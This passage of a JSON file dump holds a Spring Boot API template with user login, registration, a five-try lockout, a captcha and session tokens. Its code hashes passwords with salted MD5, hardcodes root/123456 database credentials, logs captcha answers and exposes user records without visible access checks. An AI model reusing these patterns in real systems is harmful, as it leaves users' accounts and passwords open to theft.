    "content": "package com.company.project.service;\n\nimport com.company.project.core.Result;\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface IUserService extends IService<User> {\n\n    Result checkPassword(User userParam);\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/service/RedisService.java",
    "content": "package com.company.project.service;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.core.StringRedisTemplate;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.CollectionUtils;\n\nimport java.util.Date;\nimport java.util.Set;\nimport java.util.concurrent.TimeUnit;\n\n\n/**\n * @author : aitangbao\n */\n\n@Service\npublic class RedisService {\n    @Autowired\n    private StringRedisTemplate redisTemplate;\n\n    public boolean exists(String key) {\n        return this.redisTemplate.hasKey(key);\n    }\n\n    public String get(String key) {\n        String value = this.redisTemplate.opsForValue().get(key);\n        return value;\n    }\n\n\n    public void del(String key) {\n        if (this.exists(key)) {\n            this.redisTemplate.delete(key);\n        }\n\n    }\n\n    public void setAndExpire(String key, String value, int seconds) {\n        this.redisTemplate.opsForValue().set(key, value);\n        this.redisTemplate.expire(key, (long) seconds, TimeUnit.SECONDS);\n    }\n\n\n    public void setExpire(String key, Date endTime) {\n        long seconds = endTime.getTime() - (new Date()).getTime();\n        this.redisTemplate.expire(key, (long) ((int) (seconds / 1000L)), TimeUnit.SECONDS);\n    }\n\n\n    public Set keys(String pattern) {\n        return redisTemplate.keys(\"*\" + pattern);\n    }\n\n    public void delKeys(String pattern) {\n        Set<String> keys = redisTemplate.keys(pattern);\n        if (!CollectionUtils.isEmpty(keys)) {\n            this.redisTemplate.delete(keys);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/service/impl/UserServiceImpl.java",
    "content": "package com.company.project.service.impl;\n\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.model.User;\nimport com.company.project.dao.UserMapper;\nimport com.company.project.service.IUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport com.company.project.service.RedisService;\nimport com.company.project.utils.MD5Utils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n * 服务实现类\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Service\npublic class UserServiceImpl extends ServiceImpl<UserMapper, User> implements IUserService {\n\n    @Autowired\n    private UserMapper userMapper;\n\n\n    @Autowired\n    private RedisService redis;\n    @Value(\"${redis.key.prefix.passwordError}\")\n    private String PASSWORD_ERROR_PREFIX;\n    @Value(\"${redis.key.expire.passwordError}\")\n    private int PASSWORD_ERROR_EXPIRE;\n\n    @Override\n    public Result checkPassword(User userParam) {\n\n        String username = userParam.getUsername();\n        String password = userParam.getPassword();\n        //redis key\n        String redisPasswordErrorKey = PASSWORD_ERROR_PREFIX + username;\n        //判断账户是否锁定\n        String errorCount = redis.get(redisPasswordErrorKey);\n        if (errorCount != null && Integer.parseInt(errorCount) == 5) {\n            return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n        }\n        //根据用户名获取用户信息\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", username);\n        User user = userMapper.selectOne(queryWrapper);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n\n        if (!MD5Utils.Encrypt(password, true).equals(user.getPassword())) {\n            if (errorCount == null) {\n                errorCount = \"1\";\n            } else {\n                errorCount = String.valueOf(Integer.parseInt(errorCount) + 1);\n            }\n            redis.setAndExpire(redisPasswordErrorKey, errorCount, PASSWORD_ERROR_EXPIRE);\n            if (\"5\".equals(errorCount)) {\n                return ResultGenerator.genFailResult(\"密码连续错误5次，请1小时后重试\");\n            } else {\n                return ResultGenerator.genFailResult(\"密码错误，剩余次数\" + (5 - Integer.parseInt(errorCount)));\n            }\n        } else {\n            //登录成功删除错误登录次数\n            redis.del(redisPasswordErrorKey);\n            return ResultGenerator.genSuccessResult(user);\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/utils/ImageCodeUtil.java",
    "content": "package com.company.project.utils;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.awt.*;\nimport java.awt.image.BufferedImage;\nimport java.util.Random;\n\n@Slf4j\npublic class ImageCodeUtil {\n\n\n    public static final String IMAGE_RANDOM_CODEKEY = \"RANDOMVALIDATECODEKEY\";//放到session中的key\n    private String randString = \"0123456789\";//随机产生只有数字的字符串 private String\n    //private String randString = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生只有字母的字符串\n    //private String randString = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\";//随机产生数字与字母组合的字符串\n    private int width = 95;// 图片宽\n    private int height = 25;// 图片高\n    private int lineSize = 40;// 干扰线数量\n    private int stringNum = 4;// 随机产生字符数量\n\n\n    private Random random = new Random();\n\n    /**\n     * 获得字体\n     */\n    private Font getFont() {\n        return new Font(\"Fixedsys\", Font.CENTER_BASELINE, 18);\n    }\n\n    /**\n     * 获得颜色\n     */\n    private Color getRandColor(int fc, int bc) {\n        if (fc > 255)\n            fc = 255;\n        if (bc > 255)\n            bc = 255;\n        int r = fc + random.nextInt(bc - fc - 16);\n        int g = fc + random.nextInt(bc - fc - 14);\n        int b = fc + random.nextInt(bc - fc - 18);\n        return new Color(r, g, b);\n    }\n\n    /**\n     * 生成随机图片\n     */\n    public void getRandcode(HttpServletRequest request, HttpServletResponse response) {\n        HttpSession session = request.getSession();\n        // BufferedImage类是具有缓冲区的Image类,Image类是用于描述图像信息的类\n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_BGR);\n        Graphics g = image.getGraphics();// 产生Image对象的Graphics对象,改对象可以在图像上进行各种绘制操作\n        g.fillRect(0, 0, width, height);//图片大小\n        g.setFont(new Font(\"Times New Roman\", Font.ROMAN_BASELINE, 18));//字体大小\n        g.setColor(getRandColor(110, 133));//字体颜色\n        // 绘制干扰线\n        for (int i = 0; i <= lineSize; i++) {\n            drowLine(g);\n        }\n        // 绘制随机字符\n        String randomString = \"\";\n        for (int i = 1; i <= stringNum; i++) {\n            randomString = drowString(g, randomString, i);\n        }\n        log.info(randomString);\n        //将生成的随机字符串保存到session中\n        session.removeAttribute(IMAGE_RANDOM_CODEKEY);\n        session.setAttribute(IMAGE_RANDOM_CODEKEY, randomString);\n        g.dispose();\n        try {\n            // 将内存中的图片通过流动形式输出到客户端\n            ImageIO.write(image, \"JPEG\", response.getOutputStream());\n        } catch (Exception e) {\n            log.error(\"将内存中的图片通过流动形式输出到客户端失败>>>>   \", e);\n        }\n\n    }\n\n    /**\n     * 绘制字符串\n     */\n    private String drowString(Graphics g, String randomString, int i) {\n        g.setFont(getFont());\n        g.setColor(new Color(random.nextInt(101), random.nextInt(111), random\n                .nextInt(121)));\n        String rand = String.valueOf(getRandomString(random.nextInt(randString\n                .length())));\n        randomString += rand;\n        g.translate(random.nextInt(3), random.nextInt(3));\n        g.drawString(rand, 13 * i, 16);\n        return randomString;\n    }\n\n    /**\n     * 绘制干扰线\n     */\n    private void drowLine(Graphics g) {\n        int x = random.nextInt(width);\n        int y = random.nextInt(height);\n        int xl = random.nextInt(13);\n        int yl = random.nextInt(15);\n        g.drawLine(x, y, x + xl, y + yl);\n    }\n\n    /**\n     * 获取随机的字符\n     */\n    public String getRandomString(int num) {\n        return String.valueOf(randString.charAt(num));\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/utils/MD5Utils.java",
    "content": "package com.company.project.utils;\n\nimport org.apache.commons.codec.digest.DigestUtils;\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MD5Utils {\n\n\tprivate static String salt = \"springboot_api\";\n\t\n\t/**\n\t * 加密字符串\n\t * @param password 要加密的明文\n\t * @param isAddSalt 是否加默认盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, boolean isAddSalt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\tif (isAddSalt){\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t\t} else {\n\t\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password));\n\t\t\t}\n\t\t}\n\t\treturn null;\t\t\n\t}\n\t\n\t/**\n\t * \n\t * @param bytes\n\t * @return\n\t */\n\tpublic static String Encrypt(byte[] bytes){\n\t\tif (ArrayUtils.isNotEmpty(bytes)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(bytes));\n\t\t}\n\t\treturn null;\n\t}\n\t\n\t/**\n\t * MD5加盐加密\n\t * @param password 要加密的明文\n\t * @param salt 盐\n\t * @return 加密之后的结果\n\t */\n\tpublic static String Encrypt(String password, String salt){\n\t\tif (StringUtils.isNotEmpty(password)){\n\t\t\treturn DigestUtils.md5Hex(DigestUtils.md5(password + salt));\n\t\t}\n\t\treturn null;\t\t\t\n\t}\n\t\n\tpublic static void main(String[] args){\n\t\tSystem.out.println(MD5Utils.Encrypt(\"admin\", true));\n\t}\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/java/com/company/project/web/UserController.java",
    "content": "package com.company.project.web;\n\nimport com.alibaba.fastjson.JSONObject;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.service.HttpSessionService;\nimport com.company.project.utils.MD5Utils;\nimport com.company.project.utils.ImageCodeUtil;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.web.bind.annotation.*;\nimport com.company.project.service.IUserService;\nimport com.company.project.model.User;\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport javax.validation.Valid;\n\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * <p>\n * 前端控制器\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Slf4j\n@RestController\n@RequestMapping(\"/api/user\")\npublic class UserController {\n\n    @Resource\n    private IUserService userService;\n    @Autowired\n    private HttpSessionService httpSession;\n\n    @Value(\"${redis.allowMultipleLogin}\")\n    private Boolean allowMultipleLogin;\n\n    @ApiOperation(\"登陆\")\n    @PostMapping(\"/login\")\n    public Result login(@RequestBody @Valid User userParam) {\n\n        //校验密码，5次错误锁定账户\n        Result result = userService.checkPassword(userParam);\n        if (!result.getSuccess()) {\n            return result;\n        }\n        //成功之后返回user\n        User user = (User)result.getData();\n\n        //是否删除之前token， 此处控制是否支持多登陆端；\n        // true:允许多处登陆; false:只能单处登陆，顶掉之前登陆\n        if (!allowMultipleLogin) {\n            httpSession.abortUserByUserId(user.getId());\n        }\n\n        //生成token\n        String token = httpSession.createTokenAndUser(user);\n\n        Map<String, String> resultMap = new HashMap<>(2);\n        resultMap.put(\"token\", token);\n        resultMap.put(\"username\", userParam.getUsername());\n        return ResultGenerator.genSuccessResult(resultMap);\n    }\n\n    @ApiOperation(\"注册\")\n    @PostMapping(\"/register\")\n    public Result register(@RequestBody @Valid User user) {\n        QueryWrapper<User> queryWrapper = new QueryWrapper<>();\n        queryWrapper.eq(\"username\", user.getUsername());\n        User userO = userService.getOne(queryWrapper);\n        if (userO != null) {\n            return ResultGenerator.genFailResult(\"账号已存在\");\n        }\n        user.setPassword(MD5Utils.Encrypt(user.getPassword(), true));\n        userService.save(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"修改密码\")\n    @PostMapping(\"/updatePassword\")\n    public Result updatePassword(@RequestBody JSONObject param) {\n        String oldPassword = param.getString(\"oldPassword\");\n        String newPassword = param.getString(\"newPassword\");\n        if (StringUtils.isBlank(oldPassword) || StringUtils.isBlank(newPassword)) {\n            return ResultGenerator.genFailResult(\"密码不能为空\");\n        }\n        //获取登陆信息\n        JSONObject sessionInfo = httpSession.getCurrentSession();\n        String userId = sessionInfo.getString(\"userId\");\n\n        User user = userService.getById(userId);\n        if (user == null) {\n            return ResultGenerator.genFailResult(\"账号未找到\");\n        }\n        if (!MD5Utils.Encrypt(oldPassword, true).equals(user.getPassword())) {\n            return ResultGenerator.genFailResult(\"旧密码错误\");\n        }\n        User updateUser = new User();\n        updateUser.setId(user.getId());\n        updateUser.setPassword(MD5Utils.Encrypt(newPassword, true));\n        userService.updateById(updateUser);\n\n        //重置密码后删除原所有token\n        httpSession.abortAllUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"登出\")\n    @GetMapping(\"/logout\")\n    public Result logout() {\n        //退出删除token\n        httpSession.abortUserByToken();\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(\"校验token是否有效\")\n    @GetMapping(\"/validateToken\")\n    public Result validateToken() {\n        //拦截器拦截已判断，直接返回成功\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id) {\n        userService.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody User user) {\n        //密码不更新\n        user.setPassword(null);\n        userService.updateById(user);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @ApiImplicitParams({\n            @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n            @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam(defaultValue = \"1\") Integer currentPage,\n                                 @RequestParam(defaultValue = \"10\") Integer pageCount) {\n        Page page = new Page(currentPage, pageCount);\n        IPage<User> iPage = userService.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id) {\n        return ResultGenerator.genSuccessResult(userService.getById(id));\n    }\n\n    @ApiOperation(value = \"生成验证码\")\n    @GetMapping(value = \"/getVerify\")\n    public void getVerify(HttpServletRequest request, HttpServletResponse response) {\n        response.setContentType(\"image/jpeg\");//设置相应类型,告诉浏览器输出的内容为图片\n        response.setHeader(\"Pragma\", \"No-cache\");//设置响应头信息，告诉浏览器不要缓存此内容\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expire\", 0);\n        try {\n            ImageCodeUtil randomValidateCode = new ImageCodeUtil();\n            randomValidateCode.getRandcode(request, response);//输出验证码图片方法\n        } catch (Exception e) {\n            log.error(\"生成验证码失败\");\n        }\n    }\n\n    @ApiOperation(value = \"校验验证码\")\n    @PostMapping(value = \"/checkVerify\")\n    public Result checkVerify(@RequestParam String imageCode, HttpSession session) {\n        //从session中获取随机数\n        Object random = session.getAttribute(ImageCodeUtil.IMAGE_RANDOM_CODEKEY);\n        if (random != null && String.valueOf(random).equals(imageCode)) {\n            return ResultGenerator.genSuccessResult();\n        }\n        return ResultGenerator.genFailResult(\"校验失败\");\n    }\n\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/application-dev.yml",
    "content": "# 开发环境配置\nspring:\n  datasource:\n    dynamic:\n      primary: master #设置默认的数据源或者数据源组,默认值即为master\n      datasource:\n        master:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_1:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3307/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        slave_2:\n          username: root\n          password: 123456\n          driver-class-name: com.mysql.cj.jdbc.Driver\n          url: jdbc:mysql://xx.xx.xx.xx:3308/dynamic?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=GMT%2b8\n        #......省略\n        #以上会配置一个默认库master，一个组slave下有两个子库slave_1,slave_2\n\nredis:\n  key:\n    prefix:\n      userToken: \"user:token:\"\n      passwordError: \"user:password:error:\"\n    expire:\n      userToken: 604800 # 7天 7*24*3600\n      passwordError: 3600 # 一个小时\n  allowMultipleLogin: false # 允许多处登陆\n  host: localhost # Redis服务器地址\n  database: 0 # Redis数据库索引（默认为0）\n  port: 6379 # Redis服务器连接端口\n  password: # Redis服务器连接密码（默认为空）\n  jedis:\n    pool:\n      max-active: 8 # 连接池最大连接数（使用负值表示没有限制）\n      max-wait: -1ms # 连接池最大阻塞等待时间（使用负值表示没有限制）\n      max-idle: 8 # 连接池中的最大空闲连接\n      min-idle: 0 # 连接池中的最小空闲连接\n  timeout: 3000ms # 连接超时时间（毫秒\n\nmybatis-plus:\n  configuration:\n    log-impl: org.apache.ibatis.logging.stdout.StdOutImpl\n  mapper-locations: classpath:mapper/*.xml\n  global-config:\n    db-config:\n      logic-delete-value: 1\n      logic-not-delete-value: 0\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/application-prod.yml",
    "content": "# 生产环境配置\n\nknife4j:\n  production: true #生成环境禁用查看文档"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/application-test.yml",
    "content": "# 测试环境配置\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/application.yml",
    "content": "spring:\n  profiles:\n    active: dev\n  mvc:\n    throw-exception-if-no-handler-found: true\n  resources:\n    add-mappings: false\n  application:\n    name: Springboot-api\n  jackson:\n    date-format: yyyy-MM-dd HH:mm:ss\n    time-zone: GMT+8\nserver:\n  port: 8080\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/banner.txt",
    "content": "////////////////////////////////////////////////////////////////////\n//                          _ooOoo_                               //\n//                         o8888888o                              //\n//                         88\" . \"88                              //\n//                         (| ^_^ |)                              //\n//                         O\\  =  /O                              //\n//                      ____/`---'\\____                           //\n//                    .'  \\\\|     |//  `.                         //\n//                   /  \\\\|||  :  |||//  \\                        //\n//                  /  _||||| -:- |||||-  \\                       //\n//                  |   | \\\\\\  -  /// |   |                       //\n//                  | \\_|  ''\\---/''  |   |                       //\n//                  \\  .-\\__  `-`  ___/-. /                       //\n//                ___`. .'  /--.--\\  `. . ___                     //\n//              .\"\" '<  `.___\\_<|>_/___.'  >'\"\".                  //\n//            | | :  `- \\`.;`\\ _ /`;.`/ - ` : | |                 //\n//            \\  \\ `-.   \\_ __\\ /__ _/   .-` /  /                 //\n//      ========`-.____`-.___\\_____/___.-`____.-'========         //\n//                           `=---='                              //\n//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //\n//            佛祖保佑       永不宕机     永无BUG                    //\n////////////////////////////////////////////////////////////////////"
  },
  {
    "path": "java_project_template/springboot-api-session/src/main/resources/mapper/UserMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.company.project.dao.UserMapper\">\n\n        <!-- 通用查询映射结果 -->\n        <resultMap id=\"BaseResultMap\" type=\"com.company.project.model.User\">\n                    <id column=\"id\" property=\"id\"/>\n                    <result column=\"username\" property=\"username\"/>\n                    <result column=\"password\" property=\"password\"/>\n                    <result column=\"nick_name\" property=\"nickName\"/>\n                    <result column=\"sex\" property=\"sex\"/>\n                    <result column=\"create_date\" property=\"createDate\"/>\n                    <result column=\"create_user\" property=\"createUser\"/>\n                    <result column=\"update_date\" property=\"updateDate\"/>\n                    <result column=\"update_user\" property=\"updateUser\"/>\n                    <result column=\"del_flag\" property=\"delFlag\"/>\n        </resultMap>\n\n        <!-- 通用查询结果列 -->\n        <sql id=\"Base_Column_List\">\n            id, username, password, nick_name, sex, create_date, create_user, update_date, update_user, del_flag\n        </sql>\n\n</mapper>"
  },
  {
    "path": "java_project_template/springboot-api-session/src/test/java/CodeGenerator.java",
    "content": "import com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.DateType;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n\n    //多个表逗号分隔\n    static String tableName = \"user\";\n    //逻辑删除字段名, 假如表没有逻辑删除字段，请忽视\n    static String logicDeleteFieldName = \"del_flag\";\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");\n        gc.setAuthor(\"aitangbao\");\n        gc.setOpen(false);\n        gc.setBaseColumnList(true);\n        gc.setBaseResultMap(true);\n        gc.setDateType(DateType.ONLY_DATE);\n        // gc.setSwagger2(true); 实体属性 Swagger2 注解\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://localhost:3306/project?useUnicode=true&useSSL=false&characterEncoding=utf8&serverTimezone=UTC\");\n        // dsc.setSchemaName(\"public\");\n        dsc.setDriverName(\"com.mysql.cj.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        PackageConfig pc = new PackageConfig();\n        pc.setParent(\"com.company.project\");\n        pc.setEntity(\"model\");\n        pc.setMapper(\"dao\");\n        pc.setController(\"web\");\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n        // String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名 ， 如果你 Entity 设置了前后缀、此处注意 xml 的名称会跟着发生变化！！\n                return projectPath + \"/src/main/resources/mapper/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        //指定自定义模板路径，注意不要带上.ftl/.vm, 会根据使用的模板引擎自动识别\n//         templateConfig.setEntity(\"templates/entity.java\");\n        // templateConfig.setService();\n         templateConfig.setController(\"templates/controller.java\");\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n//        strategy.setSuperEntityClass(\"你自己的父类实体,没有就不用设置!\");\n        strategy.setEntityLombokModel(true);\n        strategy.setRestControllerStyle(true);\n        // 公共父类\n//        strategy.setSuperControllerClass(\"你自己的父类控制器,没有就不用设置!\");\n        // 写于父类中的公共字段\n//        strategy.setSuperEntityColumns(\"id\");\n        strategy.setInclude(tableName.split(\",\"));\n        strategy.setControllerMappingHyphenStyle(true);\n        strategy.setLogicDeleteFieldName(logicDeleteFieldName); // 逻辑删除字段名称\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");\n        mpg.setStrategy(strategy);\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());\n        mpg.execute();\n    }\n\n}"
  },
  {
    "path": "java_project_template/springboot-api-session/src/test/java/com/company/project/Tester.java",
    "content": "package com.company.project;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n/**\n * 单元测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = Application.class)\npublic class Tester {\n\n    @Test\n    public void test() {\n\n    }\n}\n\n\n\n"
  },
  {
    "path": "java_project_template/springboot-api-session/src/test/resources/templates/controller.java.ftl",
    "content": "package ${package.Controller};\n\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultGenerator;\nimport io.swagger.annotations.ApiImplicitParam;\nimport io.swagger.annotations.ApiImplicitParams;\nimport org.springframework.web.bind.annotation.*;\nimport ${package.Service}.${table.serviceName};\nimport ${package.Entity}.${entity};\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\n\nimport javax.annotation.Resource;\n<#if restControllerStyle>\nimport org.springframework.web.bind.annotation.RestController;\n<#else>\nimport org.springframework.stereotype.Controller;\n</#if>\n<#if superControllerClassPackage??>\nimport ${superControllerClassPackage};\n</#if>\n\n/**\n * <p>\n * ${table.comment!} 前端控制器\n * </p>\n *\n * @author ${author}\n * @since ${date}\n */\n<#if restControllerStyle>\n@Api(tags = {\"${table.comment!}\"})\n@Slf4j\n@RestController\n<#else>\n@Controller\n</#if>\n@RequestMapping(\"<#if package.ModuleName??>/${package.ModuleName}</#if>/<#if controllerMappingHyphenStyle??>${controllerMappingHyphen}<#else>${table.entityPath}</#if>\")\n<#if kotlin>\nclass ${table.controllerName}<#if superControllerClass??>:${superControllerClass}()</#if>\n<#else>\n<#if superControllerClass??>public class ${table.controllerName} extends ${superControllerClass}{\n<#else>public class ${table.controllerName} {\n</#if>\n\n    @Resource\n    private ${table.serviceName} ${(table.serviceName?substring(1))?uncap_first};\n\n\n    @ApiOperation(value = \"新增${table.comment!}\")\n    @PostMapping(\"add\")\n    public Result add(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.save(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"删除${table.comment!}\")\n    @PostMapping(\"delete/{id}\")\n    public Result delete(@PathVariable(\"id\") Long id){\n        ${(table.serviceName?substring(1))?uncap_first}.removeById(id);\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"更新${table.comment!}\")\n    @PostMapping(\"update\")\n    public Result update(@RequestBody ${entity} ${entity?uncap_first}){\n        ${(table.serviceName?substring(1))?uncap_first}.updateById(${entity?uncap_first});\n        return ResultGenerator.genSuccessResult();\n    }\n\n    @ApiOperation(value = \"查询${table.comment!}分页数据\")\n    @ApiImplicitParams({\n        @ApiImplicitParam(name = \"currentPage\", value = \"页码\"),\n        @ApiImplicitParam(name = \"pageCount\", value = \"每页条数\")\n    })\n    @GetMapping(\"listByPage\")\n    public Result findListByPage(@RequestParam Integer currentPage,\n                                   @RequestParam Integer pageCount){\n        Page page = new Page(currentPage, pageCount);\n        IPage<${entity}> iPage = ${(table.serviceName?substring(1))?uncap_first}.page(page);\n        return ResultGenerator.genSuccessResult(iPage);\n    }\n\n    @ApiOperation(value = \"id查询${table.comment!}\")\n    @GetMapping(\"getById/{id}\")\n    public Result findById(@PathVariable Long id){\n        return ResultGenerator.genSuccessResult(${(table.serviceName?substring(1))?uncap_first}.getById(id));\n    }\n\n}\n</#if>"
  },
  {
    "path": "java_project_template/springboot-api-session/src/test/resources/user.sql",
